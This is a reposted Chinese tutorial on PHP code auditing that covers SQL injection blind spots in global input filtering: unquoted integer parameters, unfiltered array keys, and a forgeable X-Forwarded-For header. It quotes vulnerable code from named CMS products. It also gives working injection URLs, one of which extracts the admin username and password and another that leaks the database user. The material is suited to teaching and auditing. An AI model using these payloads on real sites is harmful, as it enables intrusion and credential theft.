【PHP代碼審計】 那些年我們一起挖掘SQL注入 - 7.全域防護盲點的總結上篇

來源:互聯網
上載者:User

標籤:

0x01 背景

現在的WEB應用對SQL注入的防護基本都是判斷GPC是否開啟,然後使用addlashes函數對單引號等特殊字元進行轉義。但僅僅使用這樣的防護是存在很多盲點的,比如最經典的整型參數傳遞,也即被帶入資料庫查詢的參數是整型、數組中的key沒過濾被帶入了查詢以及全域過濾了GET、POST但沒過濾SERVER或COOKIE引發的注入。所以看似有全域防護,實則隱藏了很多“後門”~
盲點如下:
①注入點類似id=1這種整型的參數就會完全無視GPC的過濾;
②注入點包含索引值對的,那麼這裡只檢測了value,對key的過濾就沒有防護;
③有時候全域的過濾只過濾掉GET、POST和COOKIE,但是沒過濾SERVER。
附常見的SERVER變數(具體含義自行百度):QUERY_STRING,X_FORWARDED_FOR,CLIENT_IP,HTTP_HOST,ACCEPT_LANGUAGE

0x02 環境搭建

環境請自行搜尋和搭建吧,從這篇開始只做分析不提供漏洞測試環境~~

0x03 漏洞分析完全無視GPC的數字型的注入,其實仔細總結下發現還是很多可以學習的地方。

1.傳入的參數未做intval轉換、構造的sql語句沒有單引號保護

這個還是比較常見的,當初筆者挖到過一些,烏雲案例http://www.wooyun.org/bugs/wooyun-2010-065605

<?php
require_once "admin/common.php";
require_once(MOBAN_PATH_QZ."header.html");
//這裡typeid沒有做整形轉換
$typeid=isset($_GET[‘typeid‘]) ? $_GET[‘typeid‘] : 1;
//sql語句沒有單引號保護
$type=$db->fetch_array(mysql_query($sql="select * from ".$db->tablepre."newstype where newstypeid=".$typeid));//typeid參數存在注入,數字型;
?>

 

擷取管理員賬戶密碼的POC:

http://localhost/jdy1.5/typeid.php?typeid=1 and 1=2 UNION SELECT NULL,(select concat(username,0x23,password) from jdy_admin limit 1),NULL,

2.同一參數在第一個sql裡做了單引號保護,緊跟第二個忘記加單引號

有幸在Discuz!上看到此類問題,膜拜下雨牛的漏洞http://www.wooyun.org/bugs/wooyun-2014-079045
簡單分析下漏洞原理
首先$itemid經過的第一條SQL語句如下

$query = $_SGLOBAL[‘db‘]->query(‘SELECT * FROM ‘.tname(‘spacetags‘).‘ WHERE itemid=\‘‘.$itemid.‘\‘ AND status=\‘‘.$status.‘\‘‘)

$itemid是有單引號保護的並且做了select查詢,如果查詢有結果才會帶入到delete中,如果無結果就不執行delete。在資料庫裡itemid是int類型儲存的,所以這裡本意是只能提交數字型才能查詢出結果,如果不是提交的數位話那麼就查詢不出來結果,就不去執行下面的delete語句了。但是由於mysql的類型轉換,因為這裡儲存的是int類型,所以1xxxxx跟1的查詢結果是一樣的,如下:

然後後面第二條delete的sql語句如下

$_SGLOBAL[‘db‘]->query(‘DELETE FROM ‘.tname(‘spacetags‘).‘ WHERE itemid=‘.$itemid.‘ AND tagid IN (‘.simplode($deletetagidarr).‘) AND status=\‘‘.$status.‘\‘‘);

這裡忘記加單引號了,根據我們可以構造擷取資料庫使用者的POC:

http://localhost/sup/dan/supesite/cp.php?ac=news&op=view&itemid=4 and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))#

3.php弱類型語言,判斷邏輯錯誤引發注入

還是雨牛的案例http://www.wooyun.org/bugs/wooyun-2010-088872
這裡只講下漏洞形成的原理

如,弱類型語言在邏輯判斷上0<1和0 union select 1<1是等價的,都返回True。

數群組類型,全域防護只過濾了value,key未過濾帶入了查詢

程式員往往在對數組的處理上不夠嚴謹,導致會出現此類漏洞,筆者當年有幸挖到過ShopEx旗下的ecmall存在這類漏洞,連結:http://www.wooyun.org/bugs/wooyun-2010-065284。
由於上面那個案例跟序列化相關且過程較為複雜,這裡引用烏雲另外一則案例:http://www.wooyun.org/bugs/wooyun-2010-069746,簡要分析這個案例,我們首先看下對數組進行處理的函數:

$_POST=Add_S($_POST);
$_GET=Add_S($_GET);
$_COOKIE=Add_S($_COOKIE);
... ...
function Add_S($array){
foreach($array as $key=>$value){
if(!is_array($value)){
$value=str_replace("&#x","& # x",$value);//過濾一些Unsafe 字元
$value=preg_replace("/eval/i","eva l",$value);//過濾不安全函數
!get_magic_quotes_gpc() && $value=addslashes($value);
$array[$key]=$value;
}else{
$array[$key]=Add_S($array[$key]);
}
}
return $array;

 

可以看到對數組的value進行了嚴格的過濾和addlashes轉義,但對key沒有任何過濾操作,然後我們全域搜尋關鍵詞“$key=>$value”,發現如下代碼$key被帶入了查詢

elseif($job==‘manage‘)
{
if(!$atc_power)showerr("你沒許可權");
if($rsdb[pages]<2){
header("location:post.php?job=edit&aid=$aid&mid=$mid&only=$only");exit;
}
$erp=get_id_table($aid);
if($step==2){
asort($orderDB);
$i=0;
foreach( $orderDB AS $key=>$value){
$i++;
$db->query("UPDATE {$pre}reply$erp SET orderid=$i WHERE aid=‘$aid‘ AND rid=‘$key‘");
}

 

構造擷取管理員賬戶密碼的POC如:

其它案例:http://www.wooyun.org/bugs/wooyun-2014-071516

SERVER變數未過濾

常常發生在擷取使用者ip併入庫的函數上,類似如下代碼:

//擷取訪問者IP(PHP代碼/函數)
function get_ip(){
if(getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"),"unknown")){
$ip=getenv("HTTP_CLIENT_IP");
}else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"),"unknown")){
$ip=getenv("HTTP_X_FORWARDED_FOR");
}else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"),"unknown")){
$ip=getenv("REMOTE_ADDR");
}else if (isset($_SERVER[‘REMOTE_ADDR‘]) && $_SERVER[‘REMOTE_ADDR‘] && strcasecmp($_SERVER[‘REMOTE_ADDR‘],"unknown")){
$ip=$_SERVER[‘REMOTE_ADDR‘];
}else{
$ip="unknown" ;
}
return $ip;
}

 

發現通過$_SERVER變數擷取用戶端ip且可以通過X_FORWARDED_FOR偽造,然後這裡對X_FORWARDED_FOR是沒有任何正則處理的,所以我們全域搜尋下get_ip函數發現有一些調用並且入庫的地方。
program/index/receive/login.php處代碼為例:

//這裡使用get_ip函數擷取客戶ip
$ip=get_ip();
//這裡入庫,所以可以注入了
$sql="update ".$pdo->index_pre."user set `last_time`=‘$time‘,`last_ip`=‘$ip‘ where `id`=‘".$_SESSION[‘monxin‘][‘id‘]."‘";
$pdo->exec($sql);
$sql="select count(id) as c from ".$pdo->index_pre."user_login where `userid`=‘".$_SESSION[‘monxin‘][‘id‘]."‘";
$stmt=$pdo->query($sql,2);
$v=$stmt->fetch(2);
if($v[‘c‘]<self::$config[‘other‘][‘user_login_log‘]){
$sql="insert into ".$pdo->index_pre."user_login (`userid`,`ip`,`time`,`position`) values (‘".$_SESSION[‘monxin‘][‘id‘]."‘,‘$ip‘,‘$time‘,‘".get_ip_position($ip)."‘)";
}else{
$sql="select `id` from ".$pdo->index_pre."user_login where `userid`=‘".$_SESSION[‘monxin‘][‘id‘]."‘ order by time asc limit 0,1";
$stmt=$pdo->query($sql,2);
$v=$stmt->fetch(2);
$sql="update ".$pdo->index_pre."user_login set `ip`=‘$ip‘,`time`=‘$time‘ where `id`=‘".$v[‘id‘]."‘";
}
$pdo->exec($sql);

 

案例:http://www.wooyun.org/bugs/wooyun-2010-0173485

 

原文連結:http://www.cnbraid.com/2016/05/10/sql6/,如需轉載請聯絡作者。

【PHP代碼審計】 那些年我們一起挖掘SQL注入 - 7.全域防護盲點的總結上篇

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.